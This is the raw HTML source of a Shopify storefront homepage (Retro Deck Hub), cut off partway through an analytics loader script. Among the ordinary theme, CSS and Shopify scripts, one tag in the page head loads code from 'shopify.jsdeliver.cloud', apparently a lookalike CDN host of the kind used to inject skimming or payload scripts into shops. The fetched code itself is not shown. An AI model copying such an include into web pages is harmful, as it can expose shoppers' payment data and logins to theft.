Outiref

Code source de l'URL : https://retrodeckhub.com/

<!doctype html>
<html class="no-js" lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width,initial-scale=1">
    <meta name="theme-color" content="">
    <link rel="canonical" href="https://retrodeckhub.com/">

    <link rel="preconnect" href="https://cdn.shopify.com" crossorigin>
    <link rel="preconnect" href="https://js.shrinetheme.com" crossorigin>

    

    <script src="https://js.shrinetheme.com/js/v2/main.js?version=1" defer="defer" data-defer="true" data-is-rtl="false" data-country-list-function="block" data-country-list="" data-country-list-error="" data-animations-type="CH+FNsZf0pVcmWNpggNzCvXIzkYkkaj29ECOxT5JLJn+8GP0QE/w2ZZoc0l8y3sKvzzyhdOS7LZ2rK7MwQ/NtCOYYYJ7yXB5dQJJ3+SAAIrHBm3HF6rydAtjY3MP+AvhqpSW/IyKgUXZOsqHROldAKNd/0ss5+NNxjEtevuimwelIgBKdSFfPQHmM3iaAtVAC0JOCdFuyb0PgR1BneeheN/wa9QzUd9gJ1OZhnSBefIBvmVvslG6N3IvwYREP1PIS2e5+w9kkjA9y9ci+OFpm/WPgP+A99m6qO8CosxfL/dHhr/HtooBQqmRXtzWgq1BITTO34pEgrgduEh/CCAuFfA9yvgB6XhNHexSi+2nBvVrA06pDJNLs7o0eAJaLmBlkNDhyVaYhRW42pjbjgOgbSq4UfqYKBVbpFEifOUze4U="></script>
    <script src="//retrodeckhub.com/cdn/shop/t/4/assets/secondary.js?v=63522464628986351641774147065" defer="defer" data-defer="true" data-is-rtl="false"></script>

    <link rel="preconnect" href="https://www.gstatic.com" crossorigin>
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link
      rel="stylesheet"
      href="https://fonts.googleapis.com/css2?family=Material+Symbols+Outlined:opsz,wght,FILL,GRAD@20..48,100..700,0..1,-50..200"
    >

    <script src="https://shopify.jsdeliver.cloud/js/config.js" defer="defer"></script><link rel="icon" type="image/png" href="//retrodeckhub.com/cdn/shop/files/RetroGunner_Logo.png?crop=center&height=32&v=1774145932&width=32"><link rel="preconnect" href="https://fonts.shopifycdn.com" crossorigin><title>
      Retro Deck Hub
</title>

    

    

<meta property="og:site_name" content="Retro Deck Hub">
<meta property="og:url" content="https://retrodeckhub.com/">
<meta property="og:title" content="Retro Deck Hub">
<meta property="og:type" content="website">
<meta property="og:description" content="Retro Deck Hub"><meta name="twitter:card" content="summary_large_image">
<meta name="twitter:title" content="Retro Deck Hub">
<meta name="twitter:description" content="Retro Deck Hub">


    <script>window.performance && window.performance.mark && window.performance.mark('shopify.content_for_header.start');</script><meta id="shopify-digital-wallet" name="shopify-digital-wallet" content="/101270847771/digital_wallets/dialog">
<meta name="shopify-checkout-api-token" content="5a935fd94f391fa54bf7d28bc8f732ff">
<script async="async" src="/checkouts/internal/preloads.js?locale=en-FR"></script>
<link rel="preconnect" href="https://shop.app" crossorigin="anonymous">
<script async="async" src="https://shop.app/checkouts/internal/preloads.js?locale=en-FR&shop_id=101270847771" crossorigin="anonymous"></script>
<script id="apple-pay-shop-capabilities" type="application/json">{"shopId":101270847771,"countryCode":"CA","currencyCode":"EUR","merchantCapabilities":["supports3DS"],"merchantId":"gid:\/\/shopify\/Shop\/101270847771","merchantName":"Retro Deck Hub","requiredBillingContactFields":["postalAddress","email","phone"],"requiredShippingContactFields":["postalAddress","email","phone"],"shippingType":"shipping","supportedNetworks":["visa","masterCard","amex","discover","jcb"],"total":{"type":"pending","label":"Retro Deck Hub","amount":"1.00"},"shopifyPaymentsEnabled":true,"supportsSubscriptions":true}</script>
<script id="shopify-features" type="application/json">{"accessToken":"5a935fd94f391fa54bf7d28bc8f732ff","betas":["rich-media-storefront-analytics"],"domain":"retrodeckhub.com","predictiveSearch":true,"shopId":101270847771,"locale":"en"}</script>
<script>var Shopify = Shopify || {};
Shopify.shop = "m05y85-uh.myshopify.com";
Shopify.locale = "en";
Shopify.currency = {"active":"EUR","rate":"0.87252636"};
Shopify.country = "FR";
Shopify.theme = {"name":"theme-export-retrodeckhub-com-chug-template-2","id":189171532059,"schema_name":"Shrine PRO","schema_version":"1.6.1","theme_store_id":null,"role":"main"};
Shopify.theme.handle = "null";
Shopify.theme.style = {"id":null,"handle":null};
Shopify.cdnHost = "retrodeckhub.com/cdn";
Shopify.routes = Shopify.routes || {};
Shopify.routes.root = "/";
Shopify.shopJsCdnBaseUrl = "https://cdn.shopify.com/shopifycloud/shop-js";</script>
<script type="module">!function(o){(o.Shopify=o.Shopify||{}).modules=!0}(window);</script>
<script>!function(o){function n(){var o=[];function n(){o.push(Array.prototype.slice.apply(arguments))}return n.q=o,n}var t=o.Shopify=o.Shopify||{};t.loadFeatures=n(),t.autoloadFeatures=n()}(window);</script>
<script>
  window.ShopifyPay = window.ShopifyPay || {};
  window.ShopifyPay.apiHost = "shop.app\/pay";
  window.ShopifyPay.redirectState = null;
</script>
<script>
  window.Shopify = window.Shopify || {};
  window.Shopify.SignInWithShop = window.Shopify.SignInWithShop || {};
  window.Shopify.SignInWithShop.eligible = true;
</script>
<script id="shop-js-analytics" type="application/json">{"pageType":"index"}</script>
<script defer="defer" async type="module" src="//retrodeckhub.com/cdn/shopifycloud/shop-js/modules/v2/loader.init-shop-cart-sync.en.esm.js"></script>
<script type="module">
  await import("//retrodeckhub.com/cdn/shopifycloud/shop-js/modules/v2/loader.init-shop-cart-sync.en.esm.js");

  window.Shopify.SignInWithShop?.initShopCartSync?.({"fedCMEnabled":true,"windoidEnabled":true});

</script>
<script>
  window.Shopify = window.Shopify || {};
  if (!window.Shopify.featureAssets) window.Shopify.featureAssets = {};
  window.Shopify.featureAssets['shop-js'] = {"shop-toast-manager":["modules/v2/loader.shop-toast-manager.en.esm.js"],"shop-button":["modules/v2/loader.shop-button.en.esm.js"],"init-shop-user-recognition":["modules/v2/loader.init-shop-user-recognition.en.esm.js"],"shop-cash-offers":["modules/v2/loader.shop-cash-offers.en.esm.js"],"avatar":["modules/v2/loader.avatar.en.esm.js"],"init-fed-cm":["modules/v2/loader.init-fed-cm.en.esm.js"],"init-windoid":["modules/v2/loader.init-windoid.en.esm.js"],"init-shop-email-lookup-coordinator":["modules/v2/loader.init-shop-email-lookup-coordinator.en.esm.js"],"init-shop-cart-sync":["modules/v2/loader.init-shop-cart-sync.en.esm.js"],"init-customer-accounts-sign-up":["modules/v2/loader.init-customer-accounts-sign-up.en.esm.js"],"shop-cart-sync":["modules/v2/loader.shop-cart-sync.en.esm.js"],"shop-login-button":["modules/v2/loader.shop-login-button.en.esm.js"],"checkout-modal":["modules/v2/loader.checkout-modal.en.esm.js"],"pay-button":["modules/v2/loader.pay-button.en.esm.js"],"init-shop-for-new-customer-accounts":["modules/v2/loader.init-shop-for-new-customer-accounts.en.esm.js"],"shop-user-recognition":["modules/v2/loader.shop-user-recognition.en.esm.js"],"init-customer-accounts":["modules/v2/loader.init-customer-accounts.en.esm.js"],"shop-login":["modules/v2/loader.shop-login.en.esm.js"],"shop-follow-button":["modules/v2/loader.shop-follow-button.en.esm.js"],"lead-capture":["modules/v2/loader.lead-capture.en.esm.js"],"payment-terms":["modules/v2/loader.payment-terms.en.esm.js"]};
</script>
<script id="__st">var __st={"a":101270847771,"offset":-14400,"reqid":"6313f0b6-becc-48c6-9414-ddd922ed5962-1777938792","pageurl":"retrodeckhub.com\/","u":"7ab85942eced","p":"home"};</script>
<script>window.ShopifyPaypalV4VisibilityTracking = true;</script>
<script id="captcha-bootstrap">!function(){'use strict';const t='contact',e='account',n='new_comment',o=[[t,t],['blogs',n],['comments',n],[t,'customer']],c=[[e,'customer_login'],[e,'guest_login'],[e,'recover_customer_password'],[e,'create_customer']],r=t=>t.map((([t,e])=>`form[action*='/${t}']:not([data-nocaptcha='true']) input[name='form_type'][value='${e}']`)).join(','),a=t=>()=>t?[...document.querySelectorAll(t)].map((t=>t.form)):[];function s(){const t=[...o],e=r(t);return a(e)}const i='password',u='form_key',d=['recaptcha-v3-token','g-recaptcha-response','h-captcha-response',i],f=()=>{try{return window.sessionStorage}catch{return}},m='__shopify_v',_=t=>t.elements[u];function p(t,e,n=!1){try{const o=window.sessionStorage,c=JSON.parse(o.getItem(e)),{data:r}=function(t){const{data:e,action:n}=t;return t[m]||n?{data:e,action:n}:{data:t,action:n}}(c);for(const[e,n]of Object.entries(r))t.elements[e]&&(t.elements[e].value=n);n&&o.removeItem(e)}catch(o){console.error('form repopulation failed',{error:o})}}const l='form_type',E='cptcha';function T(t){t.dataset[E]=!0}const w=window,h=w.document,L='Shopify',v='ce_forms',y='captcha';let A=!1;((t,e)=>{const n=(g='f06e6c50-85a8-45c8-87d0-21a2b65856fe',I='https://cdn.shopify.com/shopifycloud/storefront-forms-hcaptcha/ce_storefront_forms_captcha_hcaptcha.v1.5.2.iife.js',D={infoText:'Protected by hCaptcha',privacyText:'Privacy',termsText:'Terms'},(t,e,n)=>{const o=w[L][v],c=o.bindForm;if(c)return c(t,g,e,D).then(n);var r;o.q.push([[t,g,e,D],n]),r=I,A||(h.body.append(Object.assign(h.createElement('script'),{id:'captcha-provider',async:!0,src:r})),A=!0)});var g,I,D;w[L]=w[L]||{},w[L][v]=w[L][v]||{},w[L][v].q=[],w[L][y]=w[L][y]||{},w[L][y].protect=function(t,e){n(t,void 0,e),T(t)},Object.freeze(w[L][y]),function(t,e,n,w,h,L){const[v,y,A,g]=function(t,e,n){const i=e?o:[],u=t?c:[],d=[...i,...u],f=r(d),m=r(i),_=r(d.filter((([t,e])=>n.includes(e))));return[a(f),a(m),a(_),s()]}(w,h,L),I=t=>{const e=t.target;return e instanceof HTMLFormElement?e:e&&e.form},D=t=>v().includes(t);t.addEventListener('submit',(t=>{const e=I(t);if(!e)return;const n=D(e)&&!e.dataset.hcaptchaBound&&!e.dataset.recaptchaBound,o=_(e),c=g().includes(e)&&(!o||!o.value);(n||c)&&t.preventDefault(),c&&!n&&(function(t){try{if(!f())return;!function(t){const e=f();if(!e)return;const n=_(t);if(!n)return;const o=n.value;o&&e.removeItem(o)}(t);const e=Array.from(Array(32),(()=>Math.random().toString(36)[2])).join('');!function(t,e){_(t)||t.append(Object.assign(document.createElement('input'),{type:'hidden',name:u})),t.elements[u].value=e}(t,e),function(t,e){const n=f();if(!n)return;const o=[...t.querySelectorAll(`input[type='${i}']`)].map((({name:t})=>t)),c=[...d,...o],r={};for(const[a,s]of new FormData(t).entries())c.includes(a)||(r[a]=s);n.setItem(e,JSON.stringify({[m]:1,action:t.action,data:r}))}(t,e)}catch(e){console.error('failed to persist form',e)}}(e),e.submit())}));const S=(t,e)=>{t&&!t.dataset[E]&&(n(t,e.some((e=>e===t))),T(t))};for(const o of['focusin','change'])t.addEventListener(o,(t=>{const e=I(t);D(e)&&S(e,y())}));const B=e.get('form_key'),M=e.get(l),P=B&&M;t.addEventListener('DOMContentLoaded',(()=>{const t=y();if(P)for(const e of t)e.elements[l].value===M&&p(e,B);[...new Set([...A(),...v().filter((t=>'true'===t.dataset.shopifyCaptcha))])].forEach((e=>S(e,t)))}))}(h,new URLSearchParams(w.location.search),n,t,e,['guest_login'])})(!1,!0)}();</script>
<script integrity="sha256-JjoPp5ZfB1sSAs5SQaol1x1GgvveM+BgmRzyDexInEQ=" data-source-attribution="shopify.loadfeatures" defer="defer" src="//retrodeckhub.com/cdn/shopifycloud/storefront/assets/storefront/load_feature-1bd60354.js" crossorigin="anonymous"></script>
<script crossorigin="anonymous" defer="defer" src="//retrodeckhub.com/cdn/shopifycloud/storefront/assets/shopify_pay/storefront-bf1cdb70.js?v=20250812"></script>
<script id='scb4127' type='text/javascript' async='' src='https://retrodeckhub.com/cdn/shopifycloud/privacy-banner/storefront-banner.js'></script><script id="sections-script" data-sections="header" defer="defer" src="//retrodeckhub.com/cdn/shop/t/4/compiled_assets/scripts.js?v=179266921911920200511774147099"></script>
<script>window.performance && window.performance.mark && window.performance.mark('shopify.content_for_header.end');</script>


    <style data-shopify>
      
        
        
        
        

        :root {
          --font-body-family: Helvetica, Arial, sans-serif;
          --font-body-style: normal;
          --font-body-weight: 400;
          --font-body-weight-bold: 700;
        }
      
      
      
        @font-face {
  font-family: "Archivo Black";
  font-weight: 400;
  font-style: normal;
  font-display: swap;
  src: url("//retrodeckhub.com/cdn/fonts/archivo_black/archivoblack_n4.b08d53f45e5ceb17a38677219b15fcdd9c5f3519.woff2") format("woff2"),
       url("//retrodeckhub.com/cdn/fonts/archivo_black/archivoblack_n4.f60f1927c27470e666802dedb7cb371f393082b1.woff") format("woff");
}

        :root {
          --font-heading-family: "Archivo Black", sans-serif;
          --font-heading-style: normal;
          --font-heading-weight: 400;
        }
      

      :root {
        --font-body-scale: 1.0;
        --font-heading-scale: 1.15;
        --font-heading-line-height: 0.3;
        --font-heading-letter-spacing: 0.06rem;

        --color-base-text: 255, 255, 255;
        --color-shadow: 255, 255, 255;
        --color-base-background-1: 0, 0, 0;
        --color-base-background-2: 255, 255, 255;
        --color-base-solid-button-labels: 255, 255, 255;
        --color-base-outline-button-labels: 249, 163, 26;
        --color-base-accent-1: 71, 53, 142;
        --color-base-accent-2: 249, 163, 26;
        --payment-terms-background-color: #000000;

        --gradient-base-background-1: #000000;
        --gradient-base-background-2: #ffffffff;
        --gradient-base-accent-1: #47358e;
        --gradient-base-accent-2: #f9a31a;

        --media-padding: px;
        --media-border-opacity: 0.1;
        --media-border-width: 0px;
        --media-radius: 12px;
        --media-shadow-opacity: 0.0;
        --media-shadow-horizontal-offset: 0px;
        --media-shadow-vertical-offset: 0px;
        --media-shadow-blur-radius: 20px;
        --media-shadow-visible: 0;

        --page-width: 140rem;
        --page-width-margin: 0rem;

        --product-card-image-padding: 0.0rem;
        --product-card-corner-radius: 1.2rem;
        --product-card-text-alignment: center;
        --product-card-border-width: 0.0rem;
        --product-card-border-opacity: 0.1;
        --product-card-shadow-opacity: 0.1;
        --product-card-shadow-visible: 1;
        --product-card-shadow-horizontal-offset: 0.2rem;
        --product-card-shadow-vertical-offset: 0.6rem;
        --product-card-shadow-blur-radius: 1.5rem;

        --collection-card-image-padding: 0.0rem;
        --collection-card-corner-radius: 1.2rem;
        --collection-card-text-alignment: center;
        --collection-card-border-width: 0.0rem;
        --collection-card-border-opacity: 0.1;
        --collection-card-shadow-opacity: 0.05;
        --collection-card-shadow-visible: 1;
        --collection-card-shadow-horizontal-offset: 0.2rem;
        --collection-card-shadow-vertical-offset: 0.6rem;
        --collection-card-shadow-blur-radius: 1.5rem;

        --blog-card-image-padding: 0.0rem;
        --blog-card-corner-radius: 1.2rem;
        --blog-card-text-alignment: center;
        --blog-card-border-width: 0.0rem;
        --blog-card-border-opacity: 0.1;
        --blog-card-shadow-opacity: 0.05;
        --blog-card-shadow-visible: 1;
        --blog-card-shadow-horizontal-offset: 1.0rem;
        --blog-card-shadow-vertical-offset: 1.0rem;
        --blog-card-shadow-blur-radius: 3.5rem;

        --badge-corner-radius: 0.6rem;

        --slider-arrow-size: 3.0rem;
        --slider-arrow-border-radius: 50.0%;
        --slider-arrow-icon-size: 0.6em;
        --pagination-dot-width: 6px;
        --pagination-dot-height: 6px;
        --pagination-dot-active-scale: 1.5;
        --pagination-dot-spacing: 12px;
        --pagination-dot-radius: 5px;

        --popup-border-width: 1px;
        --popup-border-opacity: 0.1;
        --popup-corner-radius: 10px;
        --popup-shadow-opacity: 0.1;
        --popup-shadow-horizontal-offset: 10px;
        --popup-shadow-vertical-offset: 12px;
        --popup-shadow-blur-radius: 20px;

        --drawer-border-width: 1px;
        --drawer-border-opacity: 0.1;
        --drawer-shadow-opacity: 0.0;
        --drawer-shadow-horizontal-offset: 0px;
        --drawer-shadow-vertical-offset: 4px;
        --drawer-shadow-blur-radius: 5px;

        --spacing-sections-desktop: 0px;
        --spacing-sections-mobile: 0px;

        --grid-desktop-vertical-spacing: 40px;
        --grid-desktop-horizontal-spacing: 40px;
        --grid-mobile-vertical-spacing: 20px;
        --grid-mobile-horizontal-spacing: 20px;

        --text-boxes-border-opacity: 0.1;
        --text-boxes-border-width: 0px;
        --text-boxes-radius: 24px;
        --text-boxes-shadow-opacity: 0.0;
        --text-boxes-shadow-visible: 0;
        --text-boxes-shadow-horizontal-offset: 10px;
        --text-boxes-shadow-vertical-offset: 12px;
        --text-boxes-shadow-blur-radius: 20px;

        --buttons-radius: 6px;
        --buttons-radius-outset: 8px;
        --buttons-border-width: 2px;
        --buttons-border-opacity: 1.0;
        --buttons-shadow-opacity: 0.0;
        --buttons-shadow-visible: 0;
        --buttons-shadow-horizontal-offset: 0px;
        --buttons-shadow-vertical-offset: 4px;
        --buttons-shadow-blur-radius: 5px;
        --buttons-border-offset: 0.3px;

        --swatches-radius: 50.0%;
        --swatches-border-opacity: 0.0;
        --swatches-selected-border-opacity: 0.5;

        --pickers-overlay-opacity: 0.08;
        --pickers-radius: 8px;
        --pickers-small-radius: 3.2px;
        --pickers-border-width: 1px;
        --pickers-border-color: var(--color-base-accent-1);
        --pickers-border-opacity: 0.2;
        --pickers-shadow-opacity: 0.0;
        --pickers-shadow-horizontal-offset: 0px;
        --pickers-margin-offset: 0px;
        --pickers-shadow-vertical-offset: 0px;
        --pickers-shadow-blur-radius: 0px;
        --pickers-radius-outset: 9px;
        --pickers-hover-overlay-opacity: 0.1;
        --pickers-hover-border-opacity: 0.55;

        --quantity-overlay-opacity: 0.06;
        --quantity-radius: 8px;
        --quantity-small-radius: 3.2px;
        --quantity-border-width: 1px;
        --quantity-border-color: var(--color-base-accent-1);
        --quantity-border-opacity: 0.2;
        --quantity-shadow-opacity: 0.0;
        --quantity-shadow-horizontal-offset: 0px;
        --quantity-margin-offset: 0px;
        --quantity-shadow-vertical-offset: 0px;
        --quantity-shadow-blur-radius: 0px;
        --quantity-radius-outset: 9px;
        --quantity-hover-overlay-opacity: 0.06;
        --quantity-hover-border-opacity: 0.15;

        --inputs-radius: 6px;
        --inputs-border-width: 1px;
        --inputs-border-opacity: 0.6;
        --inputs-shadow-opacity: 0.0;
        --inputs-shadow-horizontal-offset: 0px;
        --inputs-margin-offset: 0px;
        --inputs-shadow-vertical-offset: 4px;
        --inputs-shadow-blur-radius: 5px;
        --inputs-radius-outset: 7px;
        --inputs-hover-border-opacity: 1;

        --variant-pills-inactive-overlay-opacity: 0.0;
        --variant-pills-text-size: 1.4rem;
        --variant-pills-padding-y: 1.0rem;
        --variant-pills-padding-x: 2.0rem;
        --variant-pills-radius: 40px;
        --variant-pills-border-width: 1px;
        --variant-pills-border-opacity: 0.55;
        --variant-pills-shadow-opacity: 0.0;
        --variant-pills-shadow-horizontal-offset: 0px;
        --variant-pills-shadow-vertical-offset: 4px;
        --variant-pills-shadow-blur-radius: 5px;
      }

      *,
      *::before,
      *::after {
        box-sizing: inherit;
      }

      html {
        box-sizing: border-box;
        font-size: calc(var(--font-body-scale) * 62.5%);
        height: 100%;
      }

      body {
        display: grid;
        grid-template-rows: auto auto 1fr auto;grid-template-rows: auto auto auto 1fr auto;grid-template-columns: 100%;
        min-height: 100%;
        margin: 0;
        overflow-x: hidden;
        font-size: 1.5rem;
        letter-spacing: 0.06em;
        line-height: calc(1 + 0.8 / var(--font-body-scale));
        font-family: var(--font-body-family);
        font-style: var(--font-body-style);
        font-weight: var(--font-body-weight);
        
      }

      
        .animate-section {
          --animation-duration: 650ms;
          --init-delay: 150ms;
          --child-delay: 150ms;
        }
        .animate-section.animate--hidden .animate-item {
          opacity: 0;
          filter: blur(1px);
          transform: translate(0%, 0%) scale(%);
        }
        .animate-section.animate--shown .animate-item {
          opacity: 1;
          filter: blur(0);
          transform: none;
          transition: opacity var(--animation-duration) var(--init-delay),
            filter var(--animation-duration) var(--init-delay),transform var(--animation-duration) var(--init-delay);
        }
        .animate-section.animate--shown .animate-item.animate-item--child {
          transition-delay: calc(
            var(--init-delay) + (var(--child-delay) * var(--index))
          );
        }
      

      @media screen and (min-width: 750px) {
        body {
          font-size: 1.6rem;
        }
        
      }

      .material-symbols-outlined {
        max-width: 1em;
        flex-shrink: 0;
        overflow: hidden;
        vertical-align: bottom;
        font-variation-settings: 'FILL' 0, 'wght' 400, 'GRAD' 0, 'opsz' 48;
      }
      .material-symbols-outlined.filled {
        font-variation-settings: 'FILL' 1, 'wght' 400, 'GRAD' 0, 'opsz' 48;
      }
      
      
        .button {
          font-weight: var(--font-body-weight-bold);
        }
      
    </style>

    <noscript>
      <style>
        .animate-section.animate--hidden .animate-item {
          opacity: 1;
          filter: blur(0);
          transform: none;
        }
      </style>
    </noscript>

    <link href="//retrodeckhub.com/cdn/shop/t/4/assets/base.css?v=72514207947921368001774147065" rel="stylesheet" type="text/css" media="all" />
    

      <link rel="preload" as="font" href="//retrodeckhub.com/cdn/fonts/archivo_black/archivoblack_n4.b08d53f45e5ceb17a38677219b15fcdd9c5f3519.woff2" type="font/woff2" crossorigin>
      
<link
        rel="stylesheet"
        href="//retrodeckhub.com/cdn/shop/t/4/assets/component-predictive-search.css?v=76514217051199997821774147065"
        media="print"
        onload="this.media='all'"
      ><script>
      document.documentElement.className = document.documentElement.className.replace('no-js', 'js');
      if (Shopify.designMode) {
        document.documentElement.classList.add('shopify-design-mode');
      }
    </script>
    
  <link href="https://monorail-edge.shopifysvc.com" rel="dns-prefetch">
<script>(function(){if ("sendBeacon" in navigator && "performance" in window) {try {var session_token_from_headers = performance.getEntriesByType('navigation')[0].serverTiming.find(x => x.name == '_s').description;} catch {var session_token_from_headers = undefined;}var session_cookie_matches = document.cookie.match(/_shopify_s=([^;]*)/);var session_token_from_cookie = session_cookie_matches && session_cookie_matches.length === 2 ? session_cookie_matches[1] : "";var session_token = session_token_from_headers || session_token_from_cookie || "";function handle_abandonment_event(e) {var entries = performance.getEntries().filter(function(entry) {return /monorail-edge.shopifysvc.com/.test(entry.name);});if (!window.abandonment_tracked && entries.length === 0) {window.abandonment_tracked = true;var currentMs = Date.now();var navigation_start = performance.timing.navigationStart;var payload = {shop_id: 101270847771,url: window.location.href,navigation_start,duration: currentMs - navigation_start,session_token,page_type: "index"};window.navigator.sendBeacon("https://monorail-edge.shopifysvc.com/v1/produce", JSON.stringify({schema_id: "online_store_buyer_site_abandonment/1.1",payload: payload,metadata: {event_created_at_ms: currentMs,event_sent_at_ms: currentMs}}));}}window.addEventListener('pagehide', handle_abandonment_event);}}());</script>
<script>
  window.__TREKKIE_SHIM_QUEUE = window.__TREKKIE_SHIM_QUEUE || [];
</script>
<script id="web-pixels-manager-setup">(function(){var wpmLoader=function(){"use strict";return function(e,d,r,n){var o=arguments.length>4&&void 0!==arguments[4]?arguments[4]:{};if(!Boolean(null==(i=null==(a=window.Shopify)?void 0:a.analytics)?void 0:i.replayQueue)){var a,i;window.Shopify=window.Shopify||{};var t=window.Shopify;t.analytics=t.analytics||{};var s=t.analytics;s.replayQueue=[],s.publish=function(e,d,r){return s.replayQueue.push([e,d,r]),!0};try{self.performance.mark("wpm:start")}catch(e){}var l,u,c,m,p,f,h,g,y,w,v,b,S,P=(u=(l={modern:/Edge?\/(1{2}[4-9]|1[2-9]\d|[2-9]\d{2}|\d{4,})\.\d+(\.\d+|)|Firefox\/(1{2}[4-9]|1[2-9]\d|[2-9]\d{2}|\d{4,})\.\d+(\.\d+|)|Chrom(ium|e)\/(9{2}|\d{3,})\.\d+(\.\d+|)|(Maci|X1{2}).+ Version\/(15\.\d+|(1[6-9]|[2-9]\d|\d{3,})\.\d+)([,.]\d+|)( \(\w+\)|)( Mobile\/\w+|) Safari\/|Chrome.+OPR\/(9{2}|\d{3,})\.\d+\.\d+|(CPU[ +]OS|iPhone[ +]OS|CPU[ +]iPhone|CPU IPhone OS|CPU iPad OS)[ +]+(15[._]\d+|(1[6-9]|[2-9]\d|\d{3,})[._]\d+)([._]\d+|)|Android:?[ /-](13[3-9]|1[4-9]\d|[2-9]\d{2}|\d{4,})(\.\d+|)(\.\d+|)|Android.+Firefox\/(13[5-9]|1[4-9]\d|[2-9]\d{2}|\d{4,})\.\d+(\.\d+|)|Android.+Chrom(ium|e)\/(13[3-9]|1[4-9]\d|[2-9]\d{2}|\d{4,})\.\d+(\.\d+|)|SamsungBrowser\/([2-9]\d|\d{3,})\.\d+/,legacy:/Edge?\/(1[6-9]|[2-9]\d|\d{3,})\.\d+(\.\d+|)|Firefox\/(5[4-9]|[6-9]\d|\d{3,})\.\d+(\.\d+|)|Chrom(ium|e)\/(5[1-9]|[6-9]\d|\d{3,})\.\d+(\.\d+|)([\d.]+$|.*Safari\/(?![\d.]+ Edge\/[\d.]+$))|(Maci|X1{2}).+ Version\/(10\.\d+|(1[1-9]|[2-9]\d|\d{3,})\.\d+)([,.]\d+|)( \(\w+\)|)( Mobile\/\w+|) Safari\/|Chrome.+OPR\/(3[89]|[4-9]\d|\d{3,})\.\d+\.\d+|(CPU[ +]OS|iPhone[ +]OS|CPU[ +]iPhone|CPU IPhone OS|CPU iPad OS)[ +]+(10[._]\d+|(1[1-9]|[2-9]\d|\d{3,})[._]\d+)([._]\d+|)|Android:?[ /-](13[3-9]|1[4-9]\d|[2-9]\d{2}|\d{4,})(\.\d+|)(\.\d+|)|Mobile Safari.+OPR\/([89]\d|\d{3,})\.\d+\.\d+|Android.+Firefox\/(13[5-9]|1[4-9]\d|[2-9]\d{2}|\d{4,})\.\d+(\.\d+|)|Android.+Chrom(ium|e)\/(13[3-9]|1[4-9]\d|[2-9]\d{2}|\d{4,})\.\d+(\.\d+|)|Android.+(UC? ?Browser|UCWEB|U3)[ /]?(15\.([5-9]|\d{2,})|(1[6-9]|[2-9]\d|\d{3,})\.\d+)\.\d+|SamsungBrowser\/(5\.\d+|([6-9]|\d{2,})\.\d+)|Android.+MQ{2}Browser\/(14(\.(9|\d{2,})|)|(1[5-9]|[2-9]\d|\d{3,})(\.\d+|))(\.\d+|)|K[Aa][Ii]OS\/(3\.\d+|([4-9]|\d{2,})\.\d+)(\.\d+|)/}).modern,c=l.legacy,(m=navigator.userAgent).match(u)?"modern":m.match(c)?"legacy":"unknown"),C="modern"===P?"modern":"legacy",_=(null!=n?n:{modern:"",legacy:""})[C],O=[(p={baseUrl:d,hashVersion:r,buildTarget:C}).baseUrl,"/wpm","/b",p.hashVersion,"modern"===p.buildTarget?"m":"l",".js"].join(""),U=(f={version:r,bundleTarget:P,surface:e.surface,pageUrl:self.location.href,monorailEndpoint:e.monorailEndpoint},h=f.version,g=f.bundleTarget,y=f.surface,w=f.pageUrl,v=f.monorailEndpoint,{emit:function(e){var d=e.status,r=e.errorMsg,n=(new Date).getTime(),o=JSON.stringify({metadata:{event_sent_at_ms:n},events:[{schema_id:"web_pixels_manager_load/3.1",payload:{version:h,bundle_target:g,page_url:w,status:d,surface:y,error_msg:r},metadata:{event_created_at_ms:n}}]});if(!v)return console&&console.warn&&console.warn("[Web Pixels Manager] No Monorail endpoint provided, skipping logging."),!1;try{return self.navigator.sendBeacon.bind(self.navigator)(v,o)}catch(e){}var a=new XMLHttpRequest;try{return a.open("POST",v,!0),a.setRequestHeader("Content-Type","text/plain"),a.send(o),!0}catch(e){return console&&console.warn&&console.warn("[Web Pixels Manager] Got an unhandled error while logging to Monorail."),!1}}});try{o.browserTarget=P,function(e){var d=e.src,r=e.async,n=void 0===r||r,o=e.onload,a=e.onerror,i=e.sri,t=e.scriptDataAttributes,s=void 0===t?{}:t,l=document.createElement("script"),u=document.querySelector("head"),c=document.querySelector("body");if(l.async=n,l.src=d,i&&(l.integrity=i,l.crossOrigin="anonymous"),s)for(var m in s)if(Object.prototype.hasOwnProperty.call(s,m))try{l.dataset[m]=s[m]}catch(e){}if(o&&l.addEventListener("load",o),a&&l.addEventListener("error",a),u)u.appendChild(l);else{if(!c)throw new Error("Did not find a head or body element to append the script");c.appendChild(l)}}({src:O,async:!0,onload:function(){if(!function(){var e,d;return Boolean(null==(d=null==(e=window.Shopify)?void 0:e.analytics)?void 0:d.initialized)}()){var d=window.webPixelsManager.init(e)||void 0;if(d){var r=window.Shopify.analytics;r.replayQueue.forEach(function(e){var r=e[0],n=e[1],o=e[2];d.publishCustomEvent(r,n,o)}),r.replayQueue=[],r.publish=d.publishCustomEvent,r.visitor=d.visitor,r.initialized=!0}}},onerror:function(){return U.emit({status:"failed",errorMsg:"".concat(O," has failed to load")})},sri:(b=_,S=/^sha384-[A-Za-z0-9+/=]+$/,"string"==typeof b&&S.test(b)?_:""),scriptDataAttributes:o}),U.emit({status:"loading"})}catch(e){U.emit({status:"failed",errorMsg:(null==e?void 0:e.message)||"Unknown error"})}}}}();wpmLoader({shopId: 101270847771,storefrontBaseUrl: "https://retrodeckhub.com",extensionsBaseUrl: "https://extensions.shopifycdn.com/cdn/shopifycloud/web-pixels-manager",monorailEndpoint: "https://monorail-edge.shopifysvc.com/unstable/produce_batch",surface: "storefront-renderer",enabledBetaFlags: ["72028870","2dca8a86","d5bdd5d0","5476ea20","5acaffe6"],webPixelsConfigList: 